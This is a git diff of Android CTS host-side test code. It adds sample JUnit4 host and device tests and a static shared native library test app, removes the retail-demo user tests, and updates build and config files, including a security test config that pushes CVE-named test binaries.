diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/native/version.h b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/native/version.h
new file mode 100644
index 0000000..9a48f0b
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/native/version.h
@@ -0,0 +1,19 @@
+/*
+ * Copyright 2017, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+namespace StaticSharedLib {
+    int android_os_lib_provider_getVersion();
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
new file mode 100644
index 0000000..c2bc395
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
@@ -0,0 +1,39 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider1
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+LOCAL_MULTILIB := both
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/AndroidManifest.xml
new file mode 100755
index 0000000..9050112
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.lib.provider"
+        android:versionCode="1"
+        android:versionName="1.0">
+
+    <application
+        android:hasCode="false">
+        <static-library android:name="foo.bar.lib" android:version="1"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/retaildemo/Android.mk b/hostsidetests/retaildemo/Android.mk
deleted file mode 100644
index 0aa5ee1..0000000
--- a/hostsidetests/retaildemo/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsRetailDemoHostTestCases
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed-prebuilt
-
-LOCAL_CTS_TEST_PACKAGE := android.host.retaildemo
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/retaildemo/AndroidTest.xml b/hostsidetests/retaildemo/AndroidTest.xml
deleted file mode 100644
index c174489..0000000
--- a/hostsidetests/retaildemo/AndroidTest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for the CTS retaildemo host tests">
-
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
-        <option name="test-file-name" value="CtsRetailDemoApp.apk" />
-        <option name="cleanup-apks" value="true" />
-    </target_preparer>
-
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsRetailDemoHostTestCases.jar" />
-    </test>
-
-</configuration>
\ No newline at end of file
diff --git a/hostsidetests/retaildemo/app/Android.mk b/hostsidetests/retaildemo/app/Android.mk
deleted file mode 100644
index e91e1da..0000000
--- a/hostsidetests/retaildemo/app/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_PACKAGE_NAME := CtsRetailDemoApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/retaildemo/app/AndroidManifest.xml b/hostsidetests/retaildemo/app/AndroidManifest.xml
deleted file mode 100644
index b36ee1b..0000000
--- a/hostsidetests/retaildemo/app/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.retaildemo">
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.retaildemo"
-            android:label="RetailDemo device side tests" />
-</manifest>
diff --git a/hostsidetests/retaildemo/app/src/com/android/cts/retaildemo/DemoUserTest.java b/hostsidetests/retaildemo/app/src/com/android/cts/retaildemo/DemoUserTest.java
deleted file mode 100644
index bb20b1a..0000000
--- a/hostsidetests/retaildemo/app/src/com/android/cts/retaildemo/DemoUserTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.retaildemo;
-
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
-
-import android.content.Context;
-import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-@SmallTest
-@RunWith(JUnit4.class)
-public class DemoUserTest {
-    private UserManager mUm;
-
-    @Before
-    public void setUp() {
-        mUm = InstrumentationRegistry.getContext().getSystemService(UserManager.class);
-    }
-
-    @Test
-    public void testIsDemoUser_success() {
-        assertTrue(mUm.isDemoUser());
-    }
-
-    @Test
-    public void testIsDemoUser_failure() {
-        assertFalse(mUm.isDemoUser());
-    }
-}
diff --git a/hostsidetests/retaildemo/src/android/host/retaildemo/BaseTestCase.java b/hostsidetests/retaildemo/src/android/host/retaildemo/BaseTestCase.java
deleted file mode 100644
index 5033b6d..0000000
--- a/hostsidetests/retaildemo/src/android/host/retaildemo/BaseTestCase.java
+++ /dev/null
@@ -1,129 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.host.retaildemo;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestResult;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.Map;
-
-public class BaseTestCase extends DeviceTestCase implements IBuildReceiver {
-    private static final String RETAIL_DEMO_TEST_PKG = "com.android.cts.retaildemo";
-    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
-
-    private IBuildInfo mBuildInfo;
-    private CompatibilityBuildHelper mBuildHelper;
-
-    private ArrayList<Integer> mTestUsers;
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mBuildInfo = buildInfo;
-        mBuildHelper = new CompatibilityBuildHelper(mBuildInfo);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        assertNotNull(mBuildInfo); // ensure build has been set before test is run.
-        mTestUsers = new ArrayList<>();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        for (int userId : mTestUsers) {
-            getDevice().removeUser(userId);
-        }
-        super.tearDown();
-    }
-
-    protected int createDemoUser() throws DeviceNotAvailableException, IllegalStateException {
-        final String command = "pm create-user --ephemeral --demo "
-                + "TestUser_" + System.currentTimeMillis();
-        CLog.d("Starting command: " + command);
-        final String output = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + output);
-
-        if (output.startsWith("Success")) {
-            try {
-                int userId = Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
-                mTestUsers.add(userId);
-                return userId;
-            } catch (NumberFormatException e) {
-                CLog.e("Failed to parse result: %s", output);
-            }
-        } else {
-            CLog.e("Failed to create demo user: %s", output);
-        }
-        throw new IllegalStateException();
-    }
-
-    protected void installAppAsUser(String appFileName, int userId)
-            throws FileNotFoundException, DeviceNotAvailableException {
-        CLog.d("Installing app " + appFileName + " for user " + userId);
-        File apkFile = new File(mBuildHelper.getTestsDir(), appFileName);
-        final String result = getDevice().installPackageForUser(
-                apkFile, true, true, userId, "-t");
-        assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
-                result);
-    }
-
-    protected boolean runDeviceTestsAsUser(String testClassName, String testMethodName, int userId)
-            throws Exception {
-        if (testClassName != null && testClassName.startsWith(".")) {
-            testClassName = RETAIL_DEMO_TEST_PKG + testClassName;
-        }
-
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-                RETAIL_DEMO_TEST_PKG, RUNNER, getDevice().getIDevice());
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
-        CollectingTestListener listener = new CollectingTestListener();
-        assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
-
-        TestRunResult runResult = listener.getCurrentRunResults();
-        printTestResult(runResult);
-        return !runResult.hasFailedTests() && runResult.getNumTestsInState(TestStatus.PASSED) > 0;
-    }
-
-    private void printTestResult(TestRunResult runResult) {
-        for (Map.Entry<TestIdentifier, TestResult> testEntry :
-                runResult.getTestResults().entrySet()) {
-            TestResult testResult = testEntry.getValue();
-            CLog.d("Test " + testEntry.getKey() + ": " + testResult.getStatus());
-            if (testResult.getStatus() != TestStatus.PASSED) {
-                CLog.d(testResult.getStackTrace());
-            }
-        }
-    }
-}
diff --git a/hostsidetests/retaildemo/src/android/host/retaildemo/DemoModeTest.java b/hostsidetests/retaildemo/src/android/host/retaildemo/DemoModeTest.java
deleted file mode 100644
index 3fdfd72..0000000
--- a/hostsidetests/retaildemo/src/android/host/retaildemo/DemoModeTest.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.host.retaildemo;
-
-import static junit.framework.Assert.assertTrue;
-
-public class DemoModeTest extends BaseTestCase {
-    private static final String RETAIL_DEMO_TEST_APK = "CtsRetailDemoApp.apk";
-
-    public void testIsDemoUser_inPrimaryUser() throws Exception {
-        assertTrue(runDeviceTestsAsUser(
-                ".DemoUserTest", "testIsDemoUser_failure", getDevice().getPrimaryUserId()));
-    }
-
-    public void testIsDemoUser_inDemoUser() throws Exception {
-        if (!getDevice().isMultiUserSupported()) {
-            return;
-        }
-        final int demoUserId = createDemoUser();
-        getDevice().startUser(demoUserId);
-        installAppAsUser(RETAIL_DEMO_TEST_APK, demoUserId);
-        assertTrue(runDeviceTestsAsUser(
-                ".DemoUserTest", "testIsDemoUser_success", demoUserId));
-    }
-}
diff --git a/hostsidetests/sample/Android.mk b/hostsidetests/sample/Android.mk
index 8d8a076..bfdaeda 100644
--- a/hostsidetests/sample/Android.mk
+++ b/hostsidetests/sample/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_MODULE := CtsSampleHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/sample/AndroidTest.xml b/hostsidetests/sample/AndroidTest.xml
index 5f5d23d..c87969b 100644
--- a/hostsidetests/sample/AndroidTest.xml
+++ b/hostsidetests/sample/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Sample host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSampleDeviceApp.apk" />
     </target_preparer>
diff --git a/hostsidetests/sample/app2/Android.mk b/hostsidetests/sample/app2/Android.mk
new file mode 100644
index 0000000..0900f1f
--- /dev/null
+++ b/hostsidetests/sample/app2/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsSampleDeviceApp2
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/sample/app2/AndroidManifest.xml b/hostsidetests/sample/app2/AndroidManifest.xml
new file mode 100644
index 0000000..7d65c30
--- /dev/null
+++ b/hostsidetests/sample/app2/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.sample.cts.app2">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.sample.cts.app2" />
+
+</manifest>
diff --git a/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java b/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
new file mode 100644
index 0000000..8299d47
--- /dev/null
+++ b/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sample.cts.app2;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.support.test.runner.AndroidJUnit4;
+
+/**
+ * Device-side tests for CtsSampleHostTestCases
+ */
+@RunWith(AndroidJUnit4.class)
+public class SampleDeviceTest {
+
+    @Test
+    public void testPasses() throws Exception {
+        Assert.assertTrue(true);
+    }
+
+    @Test
+    public void testAssumeFails() throws Exception {
+        Assume.assumeTrue(false);
+    }
+
+    @Test
+    public void testFails() throws Exception {
+        Assert.assertTrue(false);
+    }
+}
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
new file mode 100644
index 0000000..f32c523
--- /dev/null
+++ b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sample.cts;
+
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/**
+ * Test that collects test results from test package android.sample.cts.app2.
+ *
+ * When this test builds, it also builds a support APK containing
+ * {@link android.sample.cts.app2.SampleDeviceTest}, the results of which are
+ * collected from the hostside and reported accordingly.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SampleHostJUnit4DeviceTest extends CompatibilityHostTestBase {
+
+    private static final String TEST_PKG = "android.sample.cts.app2";
+    private static final String TEST_CLASS = TEST_PKG + "." + "SampleDeviceTest";
+    private static final String TEST_APP = "CtsSampleDeviceApp2.apk";
+
+    private static final String TEST_PASSES = "testPasses";
+    private static final String TEST_ASSUME_FAILS = "testAssumeFails";
+    private static final String TEST_FAILS = "testFails";
+
+    @Before
+    public void setUp() throws Exception {
+        installPackage(TEST_APP);
+    }
+
+    @Test
+    public void testRunDeviceTestsPasses() throws Exception {
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_PASSES));
+    }
+
+    @Test(expected=AssertionError.class)
+    public void testRunDeviceTestsFails() throws Exception {
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_FAILS));
+    }
+
+    @Test
+    public void testRunDeviceTestsAssumeFails() throws Exception {
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_ASSUME_FAILS));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG);
+    }
+
+}
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4Test.java b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4Test.java
new file mode 100644
index 0000000..f8f1f3a
--- /dev/null
+++ b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4Test.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sample.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IDeviceTest;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Scanner;
+
+/**
+ * Test to check the APK logs to Logcat.
+ *
+ * When this test builds, it also builds {@link android.sample.app.SampleDeviceActivity} into an
+ * APK which it then installed at runtime and started. The activity simply prints a message to
+ * Logcat and then gets uninstalled.
+ *
+ * Instead of extending DeviceTestCase, this JUnit4 test extends IDeviceTest and is run with
+ * tradefed's DeviceJUnit4ClassRunner
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SampleHostJUnit4Test implements IDeviceTest {
+
+    /**
+     * The package name of the APK.
+     */
+    private static final String PACKAGE = "android.sample.app";
+
+    /**
+     * The class name of the main activity in the APK.
+     */
+    private static final String CLASS = "SampleDeviceActivity";
+
+    /**
+     * The command to launch the main activity.
+     */
+    private static final String START_COMMAND = String.format(
+            "am start -W -a android.intent.action.MAIN -n %s/%s.%s", PACKAGE, PACKAGE, CLASS);
+
+    /**
+     * The command to clear the main activity.
+     */
+    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+    /**
+     * The test string to look for.
+     */
+    private static final String TEST_STRING = "SampleTestString";
+
+    private ITestDevice mDevice;
+
+    @Override
+    public void setDevice(ITestDevice device) {
+        mDevice = device;
+    }
+
+    @Override
+    public ITestDevice getDevice() {
+        return mDevice;
+    }
+
+    /**
+     * Tests the string was successfully logged to Logcat from the activity.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testLogcat() throws Exception {
+        ITestDevice device = getDevice();
+        assertNotNull("Device not set", device);
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND);
+        // Dump logcat.
+        String logs = device.executeAdbCommand("logcat", "-v", "brief", "-d", CLASS + ":I", "*:S");
+        // Search for string.
+        String testString = "";
+        Scanner in = new Scanner(logs);
+        while (in.hasNextLine()) {
+            String line = in.nextLine();
+            if(line.startsWith("I/"+CLASS)) {
+                testString = line.split(":")[1].trim();
+            }
+        }
+        in.close();
+        // Assert the logged string matches the test string.
+        assertEquals("Incorrect test string", TEST_STRING, testString);
+    }
+}
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostTest.java b/hostsidetests/sample/src/android/sample/cts/SampleHostTest.java
index f276712..389048d 100644
--- a/hostsidetests/sample/src/android/sample/cts/SampleHostTest.java
+++ b/hostsidetests/sample/src/android/sample/cts/SampleHostTest.java
@@ -47,6 +47,11 @@
             "am start -W -a android.intent.action.MAIN -n %s/%s.%s", PACKAGE, PACKAGE, CLASS);
 
     /**
+     * The command to clear the main activity.
+     */
+    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+    /**
      * The test string to look for.
      */
     private static final String TEST_STRING = "SampleTestString";
@@ -58,6 +63,8 @@
      */
     public void testLogcat() throws Exception {
         ITestDevice device = getDevice();
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
         // Clear logcat.
         device.executeAdbCommand("logcat", "-c");
         // Start the APK and wait for it to complete.
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index e28e2b4..ffb5adde 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -30,9 +30,7 @@
 
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_CTS_TEST_PACKAGE := android.host.security
 
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index cd68c69..e4b63d7 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS Security host tests">
+    <option name="config-descriptor:metadata" key="component" value="security" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
@@ -44,6 +45,25 @@
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
         <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
         <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
+        <option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
